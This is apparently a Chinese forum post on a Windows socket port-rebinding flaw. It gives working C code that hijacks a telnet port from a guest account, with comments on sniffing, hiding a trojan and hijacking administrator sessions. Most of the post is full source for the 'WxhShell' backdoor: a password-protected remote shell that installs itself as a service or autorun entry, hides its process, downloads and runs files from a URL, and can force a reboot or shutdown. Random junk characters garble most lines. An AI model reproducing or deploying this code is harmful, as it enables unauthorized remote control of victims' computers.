在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
"]kzt ux s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
`/`iLso&- hc[J,yG saddr.sin_family = AF_INET;
[Eccj`\e g ep?D;g saddr.sin_addr.s_addr = htonl(INADDR_ANY);
U._fb= W] DGt|JP bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
LU+SuVm Bpm COA 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
24k]X`/n '*65j 这意味着什么?意味着可以进行如下的攻击:
dKCl#~LAI' s~2o<# 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
%8|lAMTY7/ _z8"r& 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
VFx[{Hy li
v=q 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
CHZ/@gc |>.MH 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
yn$1nt4 "igA^^?X1N 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
pe0ax-Zv ]Idwy|eG 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
T4Vp0i
{U$XHG 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
_pZ
< A[^#8evaK #include
|9\i+)C #include
i!*<LIq #include
axph]o@ y@ #include
=}Zl
E DWORD WINAPI ClientThread(LPVOID lpParam);
sR>>l3H int main()
i%.k{MY {
f=}T^Z< WORD wVersionRequested;
ymqv@Byi8A DWORD ret;
[j5+PV WSADATA wsaData;
:wXiz`VH BOOL val;
#::+# G SOCKADDR_IN saddr;
!-^oU" SOCKADDR_IN scaddr;
fs;\_E[) int err;
KpLaQb SOCKET s;
" "m-5PGYo SOCKET sc;
)Z1&`rv int caddsize;
9aLd!PuTN HANDLE mt;
_AX,}9 DWORD tid;
T9&{s-3* wVersionRequested = MAKEWORD( 2, 2 );
}T(=tfv@ err = WSAStartup( wVersionRequested, &wsaData );
;Ivv4u if ( err != 0 ) {
7yT/t1) printf("error!WSAStartup failed!\n");
*EvW: < return -1;
XPqGv=CN }
?%$O7_ThvA saddr.sin_family = AF_INET;
+aL L&)e}" //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
aVK,(j9u 1uN;JN
`_ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
(}6\_k[}m saddr.sin_port = htons(23);
MnqT?Cc4$j if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
6`Y:f[VB {
``k[CgV printf("error!socket failed!\n");
dWiNe!oY2 return -1;
4)D~S4{E5 }
K];] val = TRUE;
><D2of| //SO_REUSEADDR选项就是可以实现端口重绑定的
&8l?$7S"_/ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
aReJ@ {
Y)F(-H) printf("error!setsockopt failed!\n");
\ui'~n_t] return -1;
yc?L
OW0 }
RHn3\N //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
*(1<J2j //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
G .<0^q, //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
LYL_Ah'= XZ]ji9' if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
[pEb`s {
()Kaxcs?+ ret=GetLastError();
`r-Jy{!y4 printf("error!bind failed!\n");
vJGH8$%;, return -1;
/huh}&NNu }
FCEmg0qdjD listen(s,2);
CF','gPnc while(1)
N8At N\e {
IMbF]6%p( caddsize = sizeof(scaddr);
aY?VP?BL //接受连接请求
%n9ukc~$p sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
?M&@# lbG if(sc!=INVALID_SOCKET)
>Rt:8uurAG {
}=R0AKz!Cv mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
+@!\3a4! if(mt==NULL)
fXWE4^jU {
BWxJ1ENM
printf("Thread Creat Failed!\n");
"1^tVw| break;
f!yl&ulKU }
5j.@)XXe }
Xwo+iZ(a CloseHandle(mt);
"Hz%0zP& }
kP[fhOpn closesocket(s);
}"WovU{*s WSACleanup();
K;"oK return 0;
= FV12(U }
V6[jhdb DWORD WINAPI ClientThread(LPVOID lpParam)
%La7);SeY {
)@I] Rk? SOCKET ss = (SOCKET)lpParam;
+C7E]0!r SOCKET sc;
?+7~E8 unsigned char buf[4096];
m-\_L=QzM SOCKADDR_IN saddr;
oY0b8=[ long num;
%vy,A* DWORD val;
Gr&e]M[ l DWORD ret;
de2G"'F //如果是隐藏端口应用的话,可以在此处加一些判断
fi>.X99(G //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
&x\)] i2f saddr.sin_family = AF_INET;
'D`lVUB saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
qGV(p}$O saddr.sin_port = htons(23);
&l]F&- if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
+u=VO#IA# {
QOUyD;0IW printf("error!socket failed!\n");
!2HF|x$ return -1;
M0lJyzJ }
BC_<1
c val = 100;
R\3v=PR[ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
;}f {o^ ]' {
1+-Go}I ret = GetLastError();
Kgi`@` return -1;
t^K Qv~ }
eDP&W$s# if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
G)[gLD{g? {
xLFMC?I ret = GetLastError();
$rk=#;6]v; return -1;
!ck~4~J }
LlgFQfu8 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
. G25D {
w=!xTA printf("error!socket connect failed!\n");
Tim/7*vx closesocket(sc);
9#1?Pt^{< closesocket(ss);
s 7wA3|9 return -1;
h@*I(ND< }
bXOM=T while(1)
{aV,h@> {
q1L>nvE //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
$Bc3| `K1v //如果是嗅探内容的话,可以再此处进行内容分析和记录
V >eG\ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
b|k^ num = recv(ss,buf,4096,0);
.YvIVQ if(num>0)
5655)u.N8 send(sc,buf,num,0);
VhLfSN>W else if(num==0)
q]pHD})O break;
@|"K"j# num = recv(sc,buf,4096,0);
zi`q([ if(num>0)
DVwB}W~ send(ss,buf,num,0);
g.!k>_g` else if(num==0)
XSN=0N!GB break;
P8h|2,c% }
q>K3a1x closesocket(ss);
XaE*$: closesocket(sc);
H)Me!^@[D return 0 ;
Q6URaw#Yt` }
)i.pE]!+ ?MSwr_eZH ~ehN%- ==========================================================
A:y^9+Da `_1fa7,z 下边附上一个代码,,WXhSHELL
x%H,ta% |BhL. ==========================================================
p>J@"?%^ 9S9j #include "stdafx.h"
YW~ 9 N xH`
VX-X3 #include <stdio.h>
gzvgXZ1q" #include <string.h>
pN9U1!|uam #include <windows.h>
LcA7f'GVK #include <winsock2.h>
<6;@@ #include <winsvc.h>
<3j`Z1J #include <urlmon.h>
c+z [4"rYL M~`^deU1 #pragma comment (lib, "Ws2_32.lib")
P~lU`.X} #pragma comment (lib, "urlmon.lib")
`S4*~Xx %ueD3;V #define MAX_USER 100 // 最大客户端连接数
}.8yKj^p #define BUF_SOCK 200 // sock buffer
\i-CTv6f #define KEY_BUFF 255 // 输入 buffer
`ItoL7bi kzK9. #define REBOOT 0 // 重启
x%ccNP0 #define SHUTDOWN 1 // 关机
KrG,T5 NhTJB7 #define DEF_PORT 5000 // 监听端口
cVMRSp HrZX~JnTmf #define REG_LEN 16 // 注册表键长度
:|ahu #define SVC_LEN 80 // NT服务名长度
nIL67& B:UM2Jl
// 从dll定义API
j@+$lU*r typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
"Vl4=W)u typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
:Sd`4"AA typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
5wAKA`p"z typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
.)bNi*& %LmsywPPp // wxhshell配置信息
=6 zK1Z struct WSCFG {
P4{~fh ( int ws_port; // 监听端口
E8nj_^Z char ws_passstr[REG_LEN]; // 口令
x3U>5F@ int ws_autoins; // 安装标记, 1=yes 0=no
:/$_eg0A char ws_regname[REG_LEN]; // 注册表键名
iWA?FBv char ws_svcname[REG_LEN]; // 服务名
gxUa-R char ws_svcdisp[SVC_LEN]; // 服务显示名
'xnI Nu char ws_svcdesc[SVC_LEN]; // 服务描述信息
7 p!ROl^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
cvT@`1 int ws_downexe; // 下载执行标记, 1=yes 0=no
H
n]( )/ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
?tqJkL# char ws_filenam[SVC_LEN]; // 下载后保存的文件名
uF}B:53A v?,@e5GZ };
I][&*V1 !J@!2S9 // default Wxhshell configuration
W)T'?b'. struct WSCFG wscfg={DEF_PORT,
b]xoXC6@ t "xuhuanlingzhe",
KkpbZ7\@ 1,
#M'V%^x P "Wxhshell",
zv;xxAX "Wxhshell",
PP!-*~F0Jr "WxhShell Service",
AX1!<K "Wrsky Windows CmdShell Service",
.Oc j|A6 "Please Input Your Password: ",
(.Ak* 1,
CDuA2e "
http://www.wrsky.com/wxhshell.exe",
*pnaj\ "Wxhshell.exe"
|`o1B;lc };
w8 UUeF t18j2P>` // 消息定义模块
T"X]@9g^- char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
(jyufHm char *msg_ws_prompt="\n\r? for help\n\r#>";
f9kdO& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
uHmvHA~/c8 char *msg_ws_ext="\n\rExit.";
(4ZO[Ae char *msg_ws_end="\n\rQuit.";
r1vS~
4Z char *msg_ws_boot="\n\rReboot...";
Dic|n@_Fy char *msg_ws_poff="\n\rShutdown...";
p"jze3mF char *msg_ws_down="\n\rSave to ";
i_r708ep6 o37oR v] char *msg_ws_err="\n\rErr!";
Pn.DeoHme char *msg_ws_ok="\n\rOK!";
u=]*,,5< coPdyw'9& char ExeFile[MAX_PATH];
f##/-NG int nUser = 0;
H%rNQxA2 + HANDLE handles[MAX_USER];
:X-S&SX0 int OsIsNt;
XSK<hr0m ^=5y; SERVICE_STATUS serviceStatus;
:WQlpLn SERVICE_STATUS_HANDLE hServiceStatusHandle;
,~1k:>njY~ +U_1B%e(% // 函数声明
gCG#?f int Install(void);
0 } &/n>F int Uninstall(void);
I"3C/ pU2 int DownloadFile(char *sURL, SOCKET wsh);
6H U*, int Boot(int flag);
ZADMtsk void HideProc(void);
ZS]Z0iZv9 int GetOsVer(void);
a:HN#P)12 int Wxhshell(SOCKET wsl);
?)k]Vg. void TalkWithClient(void *cs);
\.H9e/vU` int CmdShell(SOCKET sock);
Z^4+ 88 int StartFromService(void);
+O9x8OPHW int StartWxhshell(LPSTR lpCmdLine);
ZbdGI@ >D~8iuy]8. VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
h2Th)&Fb> VOID WINAPI NTServiceHandler( DWORD fdwControl );
&^HVuYa.0 0pEM0M // 数据结构和表定义
(&v|,.c^)1 SERVICE_TABLE_ENTRY DispatchTable[] =
ly6zz|c5 {
<BZC5b6 {wscfg.ws_svcname, NTServiceMain},
kMnG1K {NULL, NULL}
LJ@r+|> };
|Z2"pV #Cu$y8~as // 自我安装
q%$p56\?3 int Install(void)
>C6S2ISSz {
2@z .ory. char svExeFile[MAX_PATH];
)b2O!p HKEY key;
tAJ}36aG strcpy(svExeFile,ExeFile);
q<z8P;oP^ ~re}6-? // 如果是win9x系统,修改注册表设为自启动
|_8l9rB5ip if(!OsIsNt) {
<1>6!`b4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
9"gu> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
;A7JX:*?y= RegCloseKey(key);
xypgG;`\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/JC1o&z_T RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
?vAhDD5 RegCloseKey(key);
eQ8t.~5;- return 0;
;sAGTq }
wik<#ke }
dc1Zh
W4 }
g<0K
i^# else {
J!5b~8`v CZeZk // 如果是NT以上系统,安装为系统服务
=4SXntU!e SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
62 _k`)k if (schSCManager!=0)
=*lBJ-L {
X_@|+d SC_HANDLE schService = CreateService
$HQ4 o\~ (
Ny/eYF# schSCManager,
p?ccBq wscfg.ws_svcname,
dz+Dk6"R wscfg.ws_svcdisp,
g\.$4N SERVICE_ALL_ACCESS,
,3f>-mP
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
GCO: !,1 SERVICE_AUTO_START,
`<>QKpAn SERVICE_ERROR_NORMAL,
kI@<H< svExeFile,
IHd
W!q NULL,
C:5d/9k NULL,
K#X/j'$^ NULL,
FG{les+: NULL,
QdQ1+*/+U NULL
YMK ![ q- );
K@cWg C if (schService!=0)
@,k5T51m {
b$#b+G{y CloseServiceHandle(schService);
(y.N-I, CloseServiceHandle(schSCManager);
+BL4 6Bq strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
{dpDQP +! strcat(svExeFile,wscfg.ws_svcname);
sHk>ek]2I if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
P3|s}& RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
0!lWxS0#= RegCloseKey(key);
!Pnjr T return 0;
QOg >|"KL }
`m<O!I"A }
3Zd,"/RH CloseServiceHandle(schSCManager);
`kQosQV }
457{9k }
(,QWK08 !\BZ_guz return 1;
YJ"D"QD }
JVy|SA&R 0<~~0US // 自我卸载
Y01!D"{\ int Uninstall(void)
e]88 4FP {
ug2W{D HKEY key;
ycc G>%>r LAxN?ok9gD if(!OsIsNt) {
H2Wlgt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
8^j~uH RegDeleteValue(key,wscfg.ws_regname);
z_ycH%p RegCloseKey(key);
0: hv6Ge^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
M;ADL| RegDeleteValue(key,wscfg.ws_regname);
~:T@SrVI RegCloseKey(key);
LPJ7V`!k return 0;
b=:u d[h }
FV
"pJ }
4FRi=d;mP }
~,1Sw7rE else {
-X$EE$: wxh\CBxG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
QtKcv7:4 if (schSCManager!=0)
UiH7 {
@g5y_G{SP SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
a6DR' BC if (schService!=0)
jD9u(qAlH {
Uz! 3){E if(DeleteService(schService)!=0) {
JJ?rVq1g CloseServiceHandle(schService);
C){Q;`M-< CloseServiceHandle(schSCManager);
s)qrlv5H return 0;
jmr
.gW }
uWdF7|PN7 CloseServiceHandle(schService);
04|ZwX$>+ }
<.4(#Ebd CloseServiceHandle(schSCManager);
N?vb^? }
5<ruN11G }
\M\7k5$ klm>/MXI` return 1;
>bZ-mX)j\0 }
?}s;,_GH MBA?, |9Q# // 从指定url下载文件
5>f" int DownloadFile(char *sURL, SOCKET wsh)
ZJBb%d1; {
fS4W*P[B3 HRESULT hr;
ktTP~7UVi char seps[]= "/";
aHW34e@ebL char *token;
\~,\| char *file;
*%KIq/V char myURL[MAX_PATH];
\Yr*x7! char myFILE[MAX_PATH];
d%'#-w' B0Wf$
s^7t strcpy(myURL,sURL);
{HEWU<5 token=strtok(myURL,seps);
gp`@dn'; while(token!=NULL)
;(`bP {
xE<H@@w file=token;
~-7/9$ay5 token=strtok(NULL,seps);
o( zez }
*FC8=U2\X C
6
\ GetCurrentDirectory(MAX_PATH,myFILE);
C][hH?. strcat(myFILE, "\\");
L4/ns@e strcat(myFILE, file);
n~yKq"^ send(wsh,myFILE,strlen(myFILE),0);
St%x\[D send(wsh,"...",3,0);
+-|""`I1I hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
,#ZPg_x?1 if(hr==S_OK)
9#:nlu9 return 0;
K.}jOm else
S#C-j D return 1;
E72N=7v" MZh.Xo }
1 gjaTPwY %@a;q?/?Nd // 系统电源模块
,ZJ}X 9$< int Boot(int flag)
w ea {
q][kD2 HANDLE hToken;
n&;JW6VQS TOKEN_PRIVILEGES tkp;
G=17]>U ;
D<k if(OsIsNt) {
cDz@3So.b OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
n?r8ZDJ' LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
pwfQqPC#_ tkp.PrivilegeCount = 1;
}5vKQf tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
4%r?(C0x AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
_D4qnb@ if(flag==REBOOT) {
pE<a:2J if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
tB>!1}v return 0;
z]8Mv(eL }
s|<n7 =J else {
Q;3`T7 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
fW2NYQP$: return 0;
> "F-1{ }
2: gh q }
ivo><"Y(r else {
@
,X/Wf if(flag==REBOOT) {
ZzE( S if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
O6y:e#0z return 0;
j67a?0<C2U }
qWr=Oiu else {
_)5E= if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
45.ks. return 0;
)b1hF }
QHO n?e
}
t!rrYBSCr -rcEG! return 1;
E6~VHQa2? }
}~@/r5Zl Lf%3-P // win9x进程隐藏模块
n^[a}DX0 void HideProc(void)
V"4L=[le {
}V]b4t rwj+N%N HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
>WLX5i& if ( hKernel != NULL )
tP|/Q5s {
Jp"29
)w pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Z]b;%:>= ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
.c]>*/(+ FreeLibrary(hKernel);
ASy?^Jrs5 }
(k!7`<k!Y Gf.ywqE$Y$ return;
%l&oRBC }
k5-4^ ~|=D.}#$ // 获取操作系统版本
Q9OCf"n $ int GetOsVer(void)
B`eK_'7t {
u
$-&Im< OSVERSIONINFO winfo;
2EM6k|l5 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
[G8EX3 GetVersionEx(&winfo);
M4)U
[v if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
O
MQ?*^eA return 1;
[(*Eg!?W= else
b(N\R_IQ~ return 0;
Wx-0Ip'9 }
!~C%0{9+u@ bh5D}w // 客户端句柄模块
=|AYT6z, int Wxhshell(SOCKET wsl)
}d}sC\>U {
%N&.B SOCKET wsh;
[#Apd1S_ struct sockaddr_in client;
,TWlg DWORD myID;
#:BkDidt2v \12G,tBH while(nUser<MAX_USER)
{?lndBP< {
z**2-4 z int nSize=sizeof(client);
(mP{A(kwJ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
|1CX?8)b= if(wsh==INVALID_SOCKET) return 1;
nyPeN?- rGNa[1{kRs handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
P x Q] $w if(handles[nUser]==0)
!aUYidd closesocket(wsh);
O'98OH+u else
pdJ]V`m nUser++;
fD[O
tc }
OcV,pJ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
eef&ZL6g t!3s@ return 0;
Z#@ }
Zfk]Z9YO 9Zd\6F, // 关闭 socket
B0|W void CloseIt(SOCKET wsh)
QBGm)h?= {
(8m_ GfT closesocket(wsh);
b}NNkM nUser--;
RdD>&D$I ExitThread(0);
`,SL\\%u }
,*W~M&n"m ,&@GxiU // 客户端请求句柄
?l%4
P5 void TalkWithClient(void *cs)
4F.,Y3 {
P`@Rt :y7K3:d3 SOCKET wsh=(SOCKET)cs;
[c=P)t7
V char pwd[SVC_LEN];
8>WA5:]v char cmd[KEY_BUFF];
5QK%BiDlr char chr[1];
J/P[9m30[ int i,j;
"|I.j) "9'3mmZm=? while (nUser < MAX_USER) {
N{bg-%s10i db,?b>,EE if(wscfg.ws_passstr) {
8<}=f4vUj5 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
AJ6l#j- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Kw"e4 a //ZeroMemory(pwd,KEY_BUFF);
rzHBop-8 i=0;
rK'Lvt@w while(i<SVC_LEN) {
.?s jr4 o@gceZuk // 设置超时
#pPOQv:~ fd_set FdRead;
.*YF{!R`h struct timeval TimeOut;
)B
$Q FD_ZERO(&FdRead);
QWa@?BO2p FD_SET(wsh,&FdRead);
W8bp3JX" TimeOut.tv_sec=8;
DgcS@N TimeOut.tv_usec=0;
%J2Ad int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
b?OA |JqX if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
>k`qPpf& [ x+-N7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
y'`7zJ pwd
=chr[0]; .9e5@@VR
if(chr[0]==0xd || chr[0]==0xa) { ]wDqdD y7S
pwd=0; >3D1:0Sg
break;
)nf%S+KV
} |Q)mBvvN
i++; *#>(P
} pLe4dz WA
D~ 3@v+d
// 如果是非法用户,关闭 socket MzUKp"
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -4+'(3qr
} 4+>yL+sC%v
bP-(N14x+
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b-8@_@f|g
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {+#{Cha
V0{#q/q
while(1) { %T>@Ldt
)jl@hnA
ZeroMemory(cmd,KEY_BUFF); : 8>zo
bC+ZR{M
// 自动支持客户端 telnet标准 ;"IWm<]h;-
j=0; Uv[a
~'
while(j<KEY_BUFF) { ($`IHKF1.l
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _Ycz@Jn
cmd[j]=chr[0]; ;taZixOH
if(chr[0]==0xa || chr[0]==0xd) { 1@{ov!YB]
cmd[j]=0; d+)L K~
break; 8K9HFT@yV
} w^8Q~3|7
j++; |sr\SCx
} 9^g8VlQdT
sx azl]
// 下载文件 !VIxEu^ke
if(strstr(cmd,"http://")) { }iDRlE,
send(wsh,msg_ws_down,strlen(msg_ws_down),0); CC!`fX6z>h
if(DownloadFile(cmd,wsh)) Pi=FnS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); aWimg6q
else |-vyhr0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'fK=;mM
} [sG`D-\P[
else { p_BG#dRM
^PFiO 12
switch(cmd[0]) { V C VqUCc
R5QW4i9
// 帮助 2|\mBP`ok
case '?': { I`XOvSO
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -"ZNkC=
break; V^FM-bg%9
} 0^Ldw)C"
// 安装 ESoqmCJjb:
case 'i': { bj0HAgY@
if(Install()) 32+N?[9
*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fhZwYx&t
else ::02?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;p*L(8<YI
break; @=w)a
} {(-923|,
// 卸载 z^gz kXx7
case 'r': { j,].88H
if(Uninstall()) %LC)sSq{H
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4N=,9
else wT+60X'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FEhBhv|m
break; rMWvW(@@D
} OO/>}? ob
// 显示 wxhshell 所在路径 zx"EAF{
case 'p': { Bi fI.2|
char svExeFile[MAX_PATH]; D_<B^3w)
strcpy(svExeFile,"\n\r"); JfJ ln[
strcat(svExeFile,ExeFile); yD3vq}U!
send(wsh,svExeFile,strlen(svExeFile),0); }mp`!7?>O
break; P JKY$s.
} *vBhd2HO
// 重启 o|n;{zT"
case 'b': { Kc
r)W
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h\#4[/
if(Boot(REBOOT)) C`Vuw|Xl
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1G`5FU
else { IA1O]i
S
closesocket(wsh); W!8$:Ih_Z
ExitThread(0); UE_>@_T
} BSy4
d>
break; 4V@0L
} !#]kzS0
// 关机 EX<1hAw
case 'd': { o>]w76A^(
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FLPN#1
if(Boot(SHUTDOWN)) Th,]nVsGs~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P
>0S ZP
else { n$j B"1
closesocket(wsh); M[b~5L+S
ExitThread(0); (1{OQ0N+x
} A+Je?3/.
break; ocW`sE?EED
} 9|>y[i
// 获取shell 3H"F~_H
case 's': { b N>Ar
CmdShell(wsh); /mE:2K]C
closesocket(wsh); c?xeBC1-
ExitThread(0); vA*NJ%&`
break; ZQz;EV!
} {XhpxJ__
// 退出 !5m~qet.
case 'x': { h*P0;V`UX
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +f]I7e:qp
CloseIt(wsh); ?\Y7]_]/
break; V /OW=WCzN
} R'K /\
// 离开 ~c1~)QzZ
case 'q': { u_WW
uo
send(wsh,msg_ws_end,strlen(msg_ws_end),0); NFIFCy!
closesocket(wsh); }?{. 'Hv0
WSACleanup(); QBoX3w=
exit(1); @J@bD+Q+0
break; #lVSQZO~a
} r
Z5eXew6
} YRl4?}r2
} v Ma$JPauI
71&`6#
// 提示信息 rUiUv(q
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =g@hh)3wP
} #@5 jOi
} CA"`7<,
n |,}
return; 4P24ySy9F
} B;{sr'CP
hW cM.
// shell模块句柄 Ke&fTK
int CmdShell(SOCKET sock) nDchLVw
{ gY=+G6;=<
STARTUPINFO si; 6d 8n1_
ZeroMemory(&si,sizeof(si)); N)z]
F9Kg
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
93`
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QPF[D7\
PROCESS_INFORMATION ProcessInfo; |4Q><6"G
char cmdline[]="cmd"; ',RR*{I
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +n`^W(
return 0; yFP#z5G
} P|)SXR
Sag\wKV8
// 自身启动模式 VHws9)
int StartFromService(void) ]Otl(\v(h
{ LyXABQ]
typedef struct 1hp@.Fv
{ @1[LD[<
DWORD ExitStatus; 9=~jKl%\vJ
DWORD PebBaseAddress; )=D9L
DWORD AffinityMask; Ipmr@%~
DWORD BasePriority; wY}+d0Ch
